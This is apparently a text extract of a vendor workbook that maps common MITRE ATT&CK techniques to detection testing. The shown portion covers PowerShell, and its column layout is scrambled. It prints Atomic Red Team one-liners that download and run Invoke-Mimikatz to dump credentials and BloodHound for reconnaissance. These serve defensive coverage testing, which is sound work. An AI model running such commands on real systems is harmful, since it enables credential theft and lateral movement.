Mitre Att&Ck Workbook
Total Page：16
File Type：pdf, Size：1020Kb
MITRE ATT&CK WORKBOOK Table of Contents About This Workbook . 4. Getting Started with ATT&CK . 7 Workbook TIDs . .8 . MITRE TID Workbook . 9 T1086 PowerShell . 9 T1064 Scripting . 12 T1117 Regsvr32 . 16 T1090 Connection Proxy . 17. T1193 Spear Phishing Attachment . 20 T1036 Masquerading . .22 T1003 Credential Dumping . 24. T1060 Registry Run Keys / Start Folder . 27 T1085 Rundll32 . 29 T1035 Service Execution . 31 VMware Carbon Black Cloud Overview . 34 2 3 About This Workbook What is MITRE ATT&CK? MITRE ATT&CK is a globally accessible knowledge base of adversary tactics and techniques based on With the creation of ATT&CK, MITRE is fulfilling its mission to solve problems for a safer world — by bringing real-world observations . The ATT&CK knowledge base is used as a foundation for the development of communities together to develop more effective cybersecurity . ATT&CK is open and available to any person or specific threat models and methodologies in the private sector, in government, and in the cybersecurity organization to use at no charge . https://attack.mitre.org product and service community . INITIAL PRIVILEGE DEFENSE CREDENTIAL LATERAL COMMAND EXECUTION PERSISTENCE DISCOVERY COLLECTION EXFILTRATION IMPACT ACCESS ESCALATION EVASION ACCESS MOVEMENT AND CONTROL Drive-by .bash_profile Access Token Access Token Account Commonly Used Automated AppleScript Account Discovery AppleScript Audio Capture Data Destruction Compromise and .bashrc Manipulation Manipulation Manipulation Port Exfiltration Application Communication Exploit Public- Accessibility Accessibility Application Automated Data Encrypted CMSTP BITS Jobs Bash History Deployment Through Data Compressed Facing Application Features Features Window Discovery Collection for Impact Software Removable Media Distributed External Remote Command-Line Account Browser Bookmark AppCerts DLLs Binary Padding Brute Force Component Clipboard Data Connection Proxy Data Encrypted Defacement Services Interface Manipulation Discovery Object Model Custom Command Hardware Compiled HTML Bypass User Domain Trust Exploitation of Data Transfer AppCert DLLs AppInit DLLs Credential Dumping Data Staged and Control Disk Content Wipe Additions File Account Control Discovery Remote Services Size Limits Protocol Replication Data from Custom Exfiltration Application File and Directory Through Control Panel Items AppInit DLLs CMSTP Credentials in Files Logon Scripts Information Cryptographic Over Alternative Disk Structure Wipe Shimming Discovery Removable Media Repositories Protocol Protocol Exfiltration Over Spear Phishing Dynamic Data Application Bypass User Clear Command Credentials in Network Service Data from Local Endpoint Denial Pass the Hash Data Encoding Command and Attachment Exchange Shimming Account Control History Registry Scanning System of Service Control Channel Exfiltration Over Execution Through Authentication DLL Search Order Exploitation for Network Share Data from Network Firmware Spearphishing Link Code Signing Pass the Ticket Data Obfuscation Other Network API Package Hijcking Credential Access Discovery Shared Drive Corruption Medium Exfiltration Over Spear Phishing via Execution Through Compile After Forced Remote Desktop Data from Inhibit System BITS Jobs Dylib Hijacking Network Sniffing Domain Fronting Other Physical Service Module Load Delivery Authentication Protocol Removable Media Recovery Medium Supply Chain Exploitation for Exploitation for Compiled HTML Password Policy Domain Generation Network Denial Bootkit Hooking Remote File Copy Email Collection Scheduled Transfer Compromise Client Execution Privilege Escalation File Discovery Algorithms of Service 4 5 This workbook is intended to serve as a starting point for mapping to the MITRE ATT&CK to enable the Cyber Defender community to understand adversaries and improve your organization’s security posture . Through Getting Started with ATT&CK this guide you will notice specific reference to the VMware Carbon Black toolset but some capabilities may be available with other endpoint security tools . We would like to credit and thank Red Canary for their excellent work on curating content specifically on This workbook will break down each TID using 3 steps: MITRE ATT&CK . Referenced throughout to make this guide possible: Step 1: Test Technique Red Canary’s Threat Detection Report utilized to pinpoint the top 10 TID’s by prevalence . For each of the TIDs, we will leverage Red Canary’s Atomic Tests to quickly validate coverage. The Atomic Red Team Full Report Here: https://redcanary.com/resources/guides/threat-detection-report was developed by Red Canary to create an open source library of simple tests that every security team can execute to test their environmental controls. Tests are focused, have few dependencies, and are defined in a structured Red Canary’s ATOMIC Tests utilized for quick and easy tests to verify TID coverage . format that can be used by automation frameworks. More on Atomic Red Team here. More on the ATOMIC Red Team here: https://redcanary.com/atomic-red-team Step 2: Validate Coverage, Identify Gaps Be sure to check out their ATOMIC Friday webinars for more breakdowns on ATT&CK stages and testing techniques! Sign up here: https://redcanary.com/blog/atomic-friday-community-discussions ATT&CK was intended to highlight visibility gaps in your organization. Did you alert on the test? Do you have telemetry to build alerts around the specified technique? Re-execute the test once alerts are built. TEST TECHNIQUE Icons Used in This Workbook YES Did you alert on it? NO YES NO BUILD Do you have Telemetry? ACQUIRE DETECTION VISIBILITY Step 3: Identify and Implement Mitigations REMEMBER WARNING TECHNICAL STUFF TIP Can you block it? Some points bear Watch out! This icon indicates technical If you see a Tip icon, While these techniques are commonly utilized by adversaries, they may also be necessary for legitimate day- repeating, and others bear This information tells you information that’s most pay attention — you’re to-day administration . This step will help identify ways to reduce the attack surface through a combination of remembering. When you to steer clear of things that interesting to administrators about to find out how to enhanced visibility and prevention . see this icon, take special may leave you vulnerable, and incident responders. save some aggravation . note of what you’re about cost you big bucks, and time. When implementing prevention on TID’s ensure you can identify potential false to read. suck your time, or be positives that may occur to eliminate organizational friction. MITRE built the ATT&CK bad practices. framework as a detection resource. Prevention does not always match one-to-one. BONUS: Can you interrogate your environment to get more information? 6 7 Workbook TIDs MITRE TID Workbook For this workbook we are providing a starting point for working with the ATT&CK T1086 POWERSHELL Framework. To make the most of your efforts this workbook will detail the top Execution Stage. 10 TID’s as leveraged by adversaries. Why T1086 Matters: PowerShell is included in the Windows operating system and can be leveraged by The 10 TID’s as identified by Red Canary’s 2019 Threat Detection Report. administrators and adversaries alike . Administrator permissions are required to use PowerShell to connect to The full Threat Detection Report is available here. remote systems, and provides full Windows API access. PowerShell can be executed from disk or in memory which makes it easy to evade common defenses . How PowerShell can be leveraged: • Direct execution of a local script • Encoded payloads passed via the command line T1086 T1064 T1117 • Retrieving and executing remote resources using various network protocols POWERSHELL SCRIPTING REGSVR32 • Loading PowerShell into other processes For full description: MITRE Reference Step 1: Test Technique T1090 T1193 T1036 T1003 T1086 Atomic Test – Mimikatz T1086 Atomic Test – BloodHound CONNECTION SPEAR PHISHING MASQUERADING CREDENTIAL Run it with command prompt. Run it with command prompt. PROXY ATTACHMENT DUMPING powershell exe. “IEX (New-Object Net . powershell exe. “IEX (New-Object Net . WebClient) .DownloadString(‘ https://raw . WebClient) .DownloadString(‘ https://raw . githubusercontent com/mattifestation/. githubusercontent com/BloodHoundAD/. T1060 PowerSploit/master/Exfiltration/ BloodHound/master/Ingestors/ T1035 Invoke-Mimikatz .ps1’); Invoke-Mimikatz SharpHound .ps1’); Invoke-BloodHound REGISTRY RUN T1085 SERVICE -DumpCreds” KEYS/START RUNDLL32 EXECUTION FOLDER What’s Gained if Successful? What’s Gained if Successful? Mimikatz is a post-exploitation tool designed to BloodHound is a post-exploitation tool designed dump passwords, hashes, PINs and Kerberos tickets to map out AD structures to identify gaps in logic from memory . If an adversary is successful they will that will allow for privilege escalation . If successful Run these tests monthly to maintain an understanding of your gaps and risks. have access to credentials to elevate privileges and/ the adversary will have a list of admin users, global Don’t wait for an adversary to find the weaknesses in your defenses. or move laterally through the network . access users, and group membership information. For more Atomic tests: Atomic Tests 8 9 Step 2: Validate Coverage, Identify Gaps Can you block it? Yes, but it is likely that there are several applications and users within your organization that will need access to Did you alert on this test? PowerShell in order to function. In your endpoint security